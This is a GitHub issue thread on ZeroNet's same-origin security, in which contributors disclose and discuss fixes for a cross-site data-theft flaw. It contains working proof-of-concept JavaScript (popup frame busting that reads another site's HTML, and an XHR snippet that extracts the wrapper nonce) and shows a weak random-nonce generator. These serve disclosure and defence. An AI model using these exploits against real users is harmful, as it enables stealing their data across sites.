HelloZeroNet / ZeroNet

ZeroNet - Decentralized websites using Bitcoin crypto and BitTorrent network
https://zeronet.io
Other
18.31k stars 2.26k forks source link

Can you clarify how Same Origin Policy applies ? #157

Closed unrealwill closed 7 years ago

unrealwill commented 9 years ago

Usually the security model of most site is heavily relying on browser same origin policy protection mechanism. It seems that from the viewpoint of the browser every site is served locally. What mechanism do you have to prevent XSS vulnerabilities ?

HelloZeroNet commented 9 years ago

Every site is served from a sandboxed iframe that is treat the content as being from a unique origin.

Also XSS is not possible in zeronet, since there is no server-side rendering, cookies or POST requests (everything is done using the websocket API).

unrealwill commented 9 years ago

I believe this is not good enough. Sandboxed iframe can be escaped from when you allow top-navigation with simple frame busting. (We can there try to attack the local webserver to compromise the host if there are security holes in the webserver but this is not the point I want to make here).

As same origin policy is not guaranteed because everything is served locally, the only remaining protection is the "referer" filtering when wrapper=False. But if you create a popup window to another zeronet site (without wrapper=False), the referer is not checked and from the viewpoint of the browser it is from the same origin so you can freely inject and access html code of this new window. The "referer" of this new page is the new site, so we can use this popup window as a trampoline to send request to the wrapper=False page to get the inner Frame). Which means it can steal anything the user could type on another zeronet site. Exfiltrating the infos can then easily be done by a get image request to an evil server.

Below is a working proof of concept. Correct the missing "<>" and serve the file using zeronet. It works (not always on the first try but then always) on firefox and chrome when popups are not blocked. It should display the html code of another site. (But we could also reinject our own code in the other site)

html head /head body div id="myDiv">mydiv /div

SCRIPT language="javascript" //frame busting if(top != self) top.location.replace(location); var novoForm = window.open("/1AvF5TpcaamRNtqvN1cnDEWzNmUtD47Npg/index.html", "wFormx", "width=1 height=1"); var id = setTimeout( function(){document.getElementById("myDiv").textContent=novoForm.document.documentElement.outerHTML;novoForm.close()}, 1000); /SCRIPT /body /html

HelloZeroNet commented 9 years ago

Thanks for pointing out, this is a true security flaw. Do you have any suggestion how to fix it?

My idea: Every time when the "wrapper" page called instead of adding "wrapper=False" to url it generates a one-time key and only serve pages with html content-type if a correct one-time key is present.

unrealwill commented 9 years ago

Your idea of adding one-time keys might work but one time-keys and "nonces" don't usually work well with browsers (they are not user friendly because of history navigation, reload, caching behaviors,inner iframes, ajax? ). It also introduces complex filtering code server side which should ideally be as small as possible to prevent critical vulnerabilities. It would also be hard to prevent JavaScript to obtain some one-time keys because you can't really tell for sure whether it is some JavaScript script or the user interacting with you (the "referer" filtering hack is just a hack that is subject to future browser change, normally it shouldn't be relied upon (The referer rfc spec isn't properly defined, (the reasoning behind is because this is set from client side so it could be anything so we can't rely on it for security purposes so we don't care about precise browser spec as it isn't a security feature) ).

I don't believe there are clean fixes without profound changes but I'm not a web expert. Sure you can find workarounds but relying on browser quirks (subdomain on localhost??(which may work with SOP) ). It's basically doing security with javascript in the browser. Serving from localhost is also a bad idea because it opens security flaws because the local host network interface is kind of special. So it may be listened to by other processes running on the machine.

Current browsers are not made for a decentralized web, and rfc are not going this way. Serving everything from local means the user preference like allow popups, always allow *\ for 127.0.0.1, (always allow access to camera and mic ? and other nasty html5 features) propagate between zeronet sites. The attack surface, once you open javascript, anonymity (no dns central authority to blacklist sites), local server (with eventual open ports) is huge. Combine this with a bad updating procedure (no autoupdate or served centrally) in case of bugs and this is a recipe for disaster. (What about key revocation GPG style?)

The main reason people use "browsers", is to not have to trust any website, but only have to trust their browser to keep them safe. People already need to trust you (or use sandboxes which btw you should recommend your users to use) to run your server locally so they could instead trust you for running a custom browser (which will give you more control not depending on browser interaction hell).

The clean solution, I fear but I may be wrong, is to implement your custom browser (the same choice Tor made), (or forbid JavaScript but this is ZeroNet main feature). This is not as hard as it seems to be, because you can leverage on many open source browsers, but it is hard nevertheless specially when you allow JavaScript.

Idealcoder commented 9 years ago

Run local custom DNS server

Personally I don't think a custom browser is a good solution, as it requires limiting users to specific custom browser, and adds a huge amount of overhead having to maintain.

A solution would be to run a custom DNS server locally. It would resolve normal domains by forwarding the request on, but for .bit, e.g. idealcoder.bit ( or some other TLD) with 127.0.0.1. ZeroNet could then read the virtual host to find out the domain requested and send relevant sites files.

The advantage with this is that the web browser would see each site as a separate domain, and so would leverage all the existing security features in browser.

The disadvantage is that the DNS settings will need to be changed. However, I sure an automated script could be written to automatically change the DNS settings.

The other option would be an HTTP Proxy, but that adds a lot of processing overhead and complexity. What do you think about a custom DNS server?

unrealwill commented 9 years ago

I personally feel that the custom DNS server (although would work) is a bad solution. It is not user friendly at all and if there is a hiccup you got yourself with an angry user without internet to get help from. It messes up with the whole system of the user and thus require the user to sudo your custom dns server.

Proxying is also hard to configure for the user (browser dependent -> no automated scripts) and persist after browser closing which means at next reboot when the custom http proxy is not running one user out of two won't be able to reset the proxy configuration to connect back online.

So what usually happens is that quickly, some random internet hacker surf your hype and tell the users they can avoid the configuration issues by connecting through his "custom proxy", and one user out of two get MIMed.

Implementing a custom DNS server is hard. Configuring it is nightmarish (because you may need to open and configure the dns ports on your routers) (forwarding the request on is not as easy because once you change your dns settings to a custom one(yours) you can't do dns requests the normal way, so you must implement full DNS protocol).

It kinds of defeat the point of building a decentralized internet if you got back to relying on the authoritative DNS servers.

DNS itself presents lots of vulnerabilities and that's why there should be DNSSEC but it didn't really catch.

This will also be instantly categorized as 'virus' by any windows antivirus.

It opens a whole range of other attacks with even worse consequences. Bad cases scenario may result in transparent MIM of any website (and not only zeronet websites).

Didn't I mention that when you start messing with DNS protocol, ISP really don't like it at all and are very prompt to blacklist you. (Personal anecdote here : I once wrote a web crawler so I had configured my own bind9 cache for host names and everything worked fine until I downloaded an unrelated github project which silently messed up my configuration (it resetted my DNS to default instead of my bind9 server) The next time I crawled, my ISP suspended me for a day ;) .)

We also have an unusual behavior here for example : When you got a request for an non-existing ".bit" address the customdns can't say anything regarding whether the domain is valid or not (where as normally it should) (only your zeronet local server has this info), so it must tell you this domain is valid (in fact it may not be) and route you to localhost. (An attacker could for example try to use up your ram by filling up the customdns tables with random invalid .bit names which would then be cached because they are in fact valid (then your customdns process crash and you got yourself with an angry user without internet)).

HelloZeroNet commented 9 years ago

There is an semi-auto update mechanism that download the latest version and restart node automatically if needed.

I addressed a quick fix to popup attacks (its works on browsers I tested), I will try to implement the nonce based non-wrapper html rendering later this week.

There is a chrome plugin that maps .bit domains, but it leaves other sites on same host (http://zero/[siteaddress]) since domain names are converted to lower-case by default and site addresses are case sensitive. I try to avoid custom browser if possible since it makes cross-platform and mobile compatibility much harder.

unrealwill commented 9 years ago

Glad there is an update mechanism. Those are usually tricky to do correctly and usually are a security risk. I may give it a look if when I have some time to spare.

I quickly look at it but the quick fix looks like security done client side in javascript (and as a malicious js script we are the client). Wouldn't (I didn't try) it be totally bypassed by:

var myWindow = window.open(thetargetWebsiteAddressToObtainCorrectReferrer, "MsgWindow", "width=200, height=100"); //actually we don't care about anything the server send us back just that we can trick the browser to send the correct referrer myWindow.document.write("you write any script here to trampoline with a correct referrer so we can grap the wrapper=False document"); //If this doesn't work we can try to access the html before the scripts in it gets executed with a tight setInterval loop we may (depending on browser) get lucky.

It also doesn't solve the user preference by domain that propagate for all zeronet sites (always do *\ for 127.0.0.1:xxx (see previous message) ) problem.

By twiddling you may succeed in having a secure solution but it's going to be hard to convince this is really solid (the same kind of difference there are between white list and black list security). There is a sword of Damocles that hangs over this issue, and it's not a comfortable position to be in.

HelloZeroNet commented 9 years ago

The fix only do one thing: It prevents the attacker to get the wrapper_key variable that is inserted into the wrapper frame html source on request.

This key is unique per site, you can connect to the websocket API using this and it defines the permissions you get. Even if you can still spoof the referrer as you described without this key you can't really do anything, but access the static files of the site that holds no secret.

Escaping the sandbox still and issue and I will try to implement the nonce based security. This will still leave the same-domain issue unfixed, but I think that one is not possible to fix without custom browser / plugin.

unrealwill commented 9 years ago

I haven't tested the below idea but I still think the fix doesn't do what it's intending to do : For example if we open a popup (for referer filtering bypassing) we then add in it a sandboxed iframe with the no-script attribute which loads your wrapper frame so it won't execute the script but load the wrapper DOM. Your safety client side javascript security measures (frame busting and opener check) don't get called (so no document.write) and because we are on Same Origin, parent can access iframe content. You may also try with some popup.onload or popup.document.ready (jquery) to access the DOM of the wrapper before it's overwritten by the document.write. I am quite confident creative minds could find other ways in.

HelloZeroNet commented 9 years ago

Using sandboxed iframe does loads the content, but enabling the sandbox also denies the parent document to access the frame's content: document.getElementById("sandboxediframe").document returns undefined

The window.stop(); command immediately stops the html parsing and load, so the html content is not overwritten by document.write but never gets loaded.

by adding sandbox="allow-same-origin" to iframe it does allows to load the wrapper's html and steal the wrapper_key :(

unrealwill commented 9 years ago

You are getting the spirit of it, and that's what matter :). Security is all about identifying simple principles with strong security guarantees, and build upon them. "Security measures client side are not reliable" is one of these principles. "SOP" is one of these cornerstone principles in browsing security (that's why relaxing this assumption is hard). "The user will do stupid things if he can" is another famous one. "There is no such thing as a secure system" principle allows us to sleep at night.

HelloZeroNet commented 9 years ago

I have added nonce based wrapper rendering in the latest revision. 0de6496f96316514a07c4b1cbaf4a9f29a2411cb

It required some magic to make back/forward button work correctly, but it works in latest Chrome/FF/IE/Opera/Safari.

unrealwill commented 9 years ago

I haven't tried your nonce-based security. Those are quite tricky to get right. In part because it's all relying on some pseudo random number generator (see below), and also because it's hard to tell user from script apart so it will be hard to convince you secure all possible pathways in, and even if you manage to get it safe it will also be hard to be convince that a browser new feature won't later break your security.

But a quick look at the source of your fix reveal that in it's current form it's weak. wrapper_nonce = ''.join( random.choice(string.ascii_uppercase + string.asciilowercase + string.digits) for in range(24) )

At least use some one-way hash function. Because here you are handling a sequence of 24 remainders generated by a weak (low entropy congruential?) rng. So your are basically handling (Chinese remainder theorem trick? or brute force) the state of the generator if we can get any nonce (even a past one). And with the state of the rng we can predict any future nonces. Random number generator attacks is a whole non-trivial area in computer security (how to seed them properly? how to prevent the state to leak?(->one-way crypto hash)).

HelloZeroNet commented 9 years ago

Thanks for suggestion, So changing to this makes it cryptographer safe?

    wrapper_nonce = ''.join(
        random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(24)
    )
    wrapper_nonce = hashlib.sha256(wrapper_nonce).hexdigest()

Or is it even better using os.urandom?

wrapper_nonce = hashlib.sha256(os.urandom(256)).hexdigest()
ProphetZarquon commented 9 years ago

Please forgive some of my ignorance, as I am neither a professional programmer nor a security analyst:

Couldn't the client machine's HOSTS file serve the same purpose as a DNS in defining separate domains / subdomains for redirection to 127.0.0.1?

I don't know what issues might arise trying to continually rewrite a very large HOSTS file, but I have observed that exceedingly large lists can be employed without noticeable impact to page request times.

I don't know how many domain entries would potentially need to be made, nor how often that listing would need to be updated (hopefully not every time a new .bit domain is published?) but modifying the HOSTS file seems trivial compared to the potential pitfalls of establishing a functioning local DNS server.

The HOSTS file is generally ignored as a vestigial bit of legacy support, but I've yet to see any browser-equipped machine that didn't have one. HOSTS files used for domain blacklisting commonly run into several tens of thousands of entries without impeding the function of the browser even on very modest hardware.

1) Is editing the HOSTS file even feasible, or do the .bit domain listings need to be updated too often for that?

2) Would an up-to-date HOSTS file solve the issue of domain-specific permissions?

HelloZeroNet commented 9 years ago

The HOST file could work for .bit domains, but then you have to bind your UI to port 80 (not free on many computers) and it would require administration permissions to modify it. (and non-.bit sites also would remain on the same host)

There is a chrome extension that maps .bit domains to your zeronet client. Hopefully its possible to create similar for FF/IE.

unrealwill commented 9 years ago

About the random number generator you get the spirit. About modifying the HOST file, I wouldn't recommend it either mainly for the sudo requirements, and the fact that modifying the HOST file is a trick usually spywares and viruses like to do, so any decent antivirus (who uses those anyway?) should classify you as malware. I also don't know how often the HOST file is reloaded after modification. And there is also the issue you raise. Modifying domain (either with dns or HOST file) isn't also a solution because dns may be bypassed by directly specifying the ipaddress (127.0.0.1 (but then you have your 'referer filtering' which may save you)).

I haven't tested your nonce based implementation but normally usually it shouldn't be compatible with all navigation features (Like things with multiple open new-tabs, open in new window, navigation after a history.back move, and so on...)(as it has introduce a "state" into what's usually built upon the stateless http procotol) (And this will usually leave the user think, the software doesn't work, or worse he may think it's not safe).

Syrup-tan commented 8 years ago

Hmmm, I think having them all hosted under a single origin is asking for trouble.

The iframe-nonce-hack seems to work, but it seems to be setting it up for failure as it's going directly against the grain of the Web Browser's security mechanisms. I think one of the safest methods would be to provide a SOCKS5 proxy, similar to the way Tor does it.

In regards to using case-sensitive addresses, perhaps encoding the address to a case-insensitive format would be Good Enough:tm:?

A simple method for encoding could be;

function encode(str) {
    return str.replace(/([A-Z])/g, function(c) {
        return '-' + c.toLowerCase();
    });
}

function decode(str) {
    return str.replace(/(-[A-Za-z])/g, function(match) {
        return match.substr(1).toUpperCase();
    });
}

encode('1HeLLo4uzjaLetFx6NH3PMwFP3qbRbTf3D');
// '1-he-l-lo4uzja-let-fx6-n-h3-p-mw-f-p3qb-rb-tf3-d'

This isn't very pretty, and it ruins the vanity addresses, but it's simple and doesn't require any base conversions, which would be costly with JavaScript's number implementation.

Hmm, if I find some time I'll try some pentesting on the iframe implementation to see if it's worth migrating or such.

Syrup-tan commented 8 years ago

function getUrl(url, callback) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            callback(xhr);
        }
    };
    xhr.open('GET', url, true);
    xhr.send(null);
}

getUrl('http://127.0.0.1:43110/zeroid.bit', function(xhr) {

    //var url = xhr.responseText.match(/\\\/.+\\\?wrapper\\_nonce\\=[a-z0-9]+/)[0].replace(/\\/g, '');

    document.write('<iframe src=about:blank id=inner-iframe width=800 height=800></iframe>');
    eval(xhr.responseText.match(/<!-- Site info -->\n<script>([^<]+)<\/script>/)[1]);
    document.write('<script type="text/javascript" src="/uimedia/all.js?rev=915"></script>');

});

Pretty easy to get the wrapper nonce when you're on the same origin.

HelloZeroNet commented 8 years ago

It gives me: XMLHttpRequest cannot load http://127.0.0.1:43110/zeroid.bit. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'null' is therefore not allowed access.

alpacagh commented 8 years ago

What about using whole 127/8 ipv4 network and distinguish installed sites by ip address? 127.0.0.1 may be a special forwarder site to forward user to needed sub-ip while cleaning up all potentially malicious request arguments (which btw may be configurable by site security policies in content.json).

HelloZeroNet commented 8 years ago

It could be an improvement, but escaping from the sandbox would be still problematic, because for example the site would able to modify the site settings when the user has the sidebar opened.

So as long we can avoid the escape from the sandboxed iframe I think we are fine.

xcombelle commented 8 years ago

First I am new to zeronet so I might be totally wrong.

I did not find description of zeronet security model neither. Looks like a lot of security depend on the javascript modified according to this message https://github.com/HelloZeroNet/ZeroNet/issues/157#issuecomment-138733791 which should disallow the operation of a site in a popup or an iframe. But I have no idea of why it's necessary or if it do its job.

I am not really aware of the capabilities of sandboxing of an iframe but it appears that the iframe permission are huge "allow-forms allow-scripts allow-top-navigation allow-popups allow-popups-to-escape-sandbox {sandbox_permissions}" I don't really understand how with such a huge whitelist, security can be enforced. I tried to search explanation of each permission and failed to have a clear view of the situation. Can you explain what each permission does (with reference to some official site) and how they don't break the security ?

HelloZeroNet commented 8 years ago

allow-popups and allow-popups-to-escape-sandbox probably will be removed as it's not working well in every browser, but it does not modify the cross-domain policy:

w = window.open("/")
w.document
VM17392:1 Uncaught DOMException: Blocked a frame with origin "null" from accessing a cross-origin frame

The main idea of sandbox is it does not allows to access to parent document html or any data that is stored for that domain (cookie, localstorage, etc.)

war59312 commented 8 years ago

Well ZeroNet now won't load with Chrome Version 55.0.2853.0 dev (64-bit).

Home page:

Uncaught DOMException: Blocked a frame with origin "http://127.0.0.1:43110" from accessing a cross-origin frame.
    at processFunctions (<anonymous>:5:27)
    at HTMLIFrameElement.get [as contentWindow] (<anonymous>:241:6)
    at new Wrapper (http://127.0.0.1:43110/uimedia/all.js?rev=1518:778:59)
    at http://127.0.0.1:43110/uimedia/all.js?rev=1518:1380:20
    at http://127.0.0.1:43110/uimedia/all.js?rev=1518:1382:4
HelloZeroNet commented 8 years ago

We can't do anything about it, you should report it for chrome devs, maybe they revert some changes and we can still support Chrome in the future.

dmp1ce commented 7 years ago

For desktop users, I think the browser plugin is a good solution. It is very easy to setup and makes Javascript based attacks much more difficult, if I understand the threat correctly.

Currently the chrome plugin linked is unsupported, but hopefully someone can look after the project. A fork of the plugin handles redirecting http://127.0.0.1:43110/site_name.bit/ sites to http://site_name.bit. I would also like to see http://127.0.0.1:43110/1Gif7PqWTzVWDQ42Mo7np3zXmGAo3DXc7h redirected to something like http://1Gif7PqWTzVWDQ42Mo7np3zXmGAo3DXc7h.zero/.

HelloZeroNet commented 7 years ago

This has been fixed. As there is no known issue with sandboxed iframe yet.

tomachinz commented 6 years ago

How about redirecting to an internally routable subnet of the ::1 localhost ipv6 address? Or create a NAT router and another bunch of ipv4 addresses to enable/strengthen COR protections? For example, in ipv4 you could say 127.0.0.2 and 127.0.0.3 and 127.0.0.4 could be "routed" to localhost? Create a VPN endpoint using websockets and announce a route via BGP? I dunno.

tomachinz commented 6 years ago

I actually think the local DNS proxy is best / easiest idea, next to my multi-homed localhost concept.

HelloZeroNet commented 6 years ago

I would like to avoid modification of system settings / require admin user to run it and it would be also problematic for remote clients (eg. proxies) that only using one address.

war59312 commented 6 years ago

Still happening for me as of zeronet rev3501 on Google Chrome Version 69.0.3464.0

VM1258 all.js:25 [ZeroHello] save scrollTop 0
VM1201 content.index.js:13805 Uncaught Error: Extension context invalidated.
    at Notification.window.addEventListener.event (VM1201 content.index.js:13805)
Notification.window.addEventListener.event @ VM1201 content.index.js:13805
postMessage (async)
ZeroFrame.send @ VM1258 all.js:6466
ZeroFrame.cmd @ VM1258 all.js:6453
(anonymous) @ VM1258 all.js:6395
Navigated to http://127.0.0.1:43110/1HeLLo4uzjaLetFx6NH3PMwFP3qbRbTf3D
all.js?rev=3501&lang=en:1706 [Wrapper] Created!
VM1295:92 Uncaught DOMException: Blocked a frame with origin "http://127.0.0.1:43110" from accessing a cross-origin frame.
    at processFunctions (<anonymous>:92:41)
    at HTMLIFrameElement.get [as contentWindow] (<anonymous>:276:6)
    at new Wrapper (http://127.0.0.1:43110/uimedia/all.js?rev=3501&lang=en:879:59)
    at http://127.0.0.1:43110/uimedia/all.js?rev=3501&lang=en:1729:20
    at http://127.0.0.1:43110/uimedia/all.js?rev=3501&lang=en:1731:4
processFunctions @ VM1295:92
get @ VM1295:276
Wrapper @ all.js?rev=3501&lang=en:879
(anonymous) @ all.js?rev=3501&lang=en:1729
(anonymous) @ all.js?rev=3501&lang=en:1731
1HeLLo4uzjaLetFx6NH3PMwFP3qbRbTf3D:85 Uncaught TypeError: Cannot read property 'onWrapperLoad' of undefined
    at 1HeLLo4uzjaLetFx6NH3PMwFP3qbRbTf3D:85
(anonymous) @ 1HeLLo4uzjaLetFx6NH3PMwFP3qbRbTf3D:85
all.js?rev=3501&lang=en:1706 [Wrapper] Invalid message: 
all.js?rev=3501&lang=en:1706 [Wrapper] Invalid message: setImmediate$0.0041006177152902445$1
all.js?rev=3501&lang=en:1706 [Wrapper] Invalid message: DisableHTML5Autoplay_Initialize
all.js?lang={lang}:25 [ZeroHello] Route {url: ""}
all.js?lang={lang}:25 [ZeroHello] setProjectorMode 
all.js?rev=3501&lang=en:1040 Uncaught TypeError: Cannot read property 'ws' of undefined
    at Wrapper.handleMessage (all.js?rev=3501&lang=en:1040)
    at Wrapper.handleMessage (all.js?rev=3501&lang=en:857)
    at Wrapper.onMessageInner (all.js?rev=3501&lang=en:1013)
    at all.js?rev=3501&lang=en:857
Wrapper.handleMessage @ all.js?rev=3501&lang=en:1040
(anonymous) @ all.js?rev=3501&lang=en:857
Wrapper.onMessageInner @ all.js?rev=3501&lang=en:1013
(anonymous) @ all.js?rev=3501&lang=en:857
postMessage (async)
ZeroFrame.send @ all.js?lang={lang}:6466
ZeroFrame.cmd @ all.js?lang={lang}:6453
ZeroFrame.connect @ all.js?lang={lang}:6390
ZeroFrame @ all.js?lang={lang}:6377
ZeroHello @ all.js?lang={lang}:6764
(anonymous) @ all.js?lang={lang}:7062
(anonymous) @ all.js?lang={lang}:7066
all.js?rev=3501&lang=en:1527 Uncaught TypeError: Cannot read property 'postMessage' of undefined
    at Wrapper.sendInner (all.js?rev=3501&lang=en:1527)
    at Wrapper.handleMessage (all.js?rev=3501&lang=en:1076)
    at Wrapper.handleMessage (all.js?rev=3501&lang=en:857)
    at Wrapper.onMessageInner (all.js?rev=3501&lang=en:1013)
    at all.js?rev=3501&lang=en:857
Wrapper.sendInner @ all.js?rev=3501&lang=en:1527
Wrapper.handleMessage @ all.js?rev=3501&lang=en:1076
(anonymous) @ all.js?rev=3501&lang=en:857
Wrapper.onMessageInner @ all.js?rev=3501&lang=en:1013
(anonymous) @ all.js?rev=3501&lang=en:857
postMessage (async)
ZeroFrame.send @ all.js?lang={lang}:6466
ZeroFrame.cmd @ all.js?lang={lang}:6453
ZeroFrame.connect @ all.js?lang={lang}:6398
ZeroFrame @ all.js?lang={lang}:6377
ZeroHello @ all.js?lang={lang}:6764
(anonymous) @ all.js?lang={lang}:7062
(anonymous) @ all.js?lang={lang}:7066
all.js?rev=3501&lang=en:1095 Uncaught TypeError: Cannot read property 'send' of undefined
    at Wrapper.handleMessage (all.js?rev=3501&lang=en:1095)
    at Wrapper.handleMessage (all.js?rev=3501&lang=en:857)
    at Wrapper.onMessageInner (all.js?rev=3501&lang=en:1013)
    at all.js?rev=3501&lang=en:857
danimesq commented 6 years ago

@HelloZeroNet @shortcutme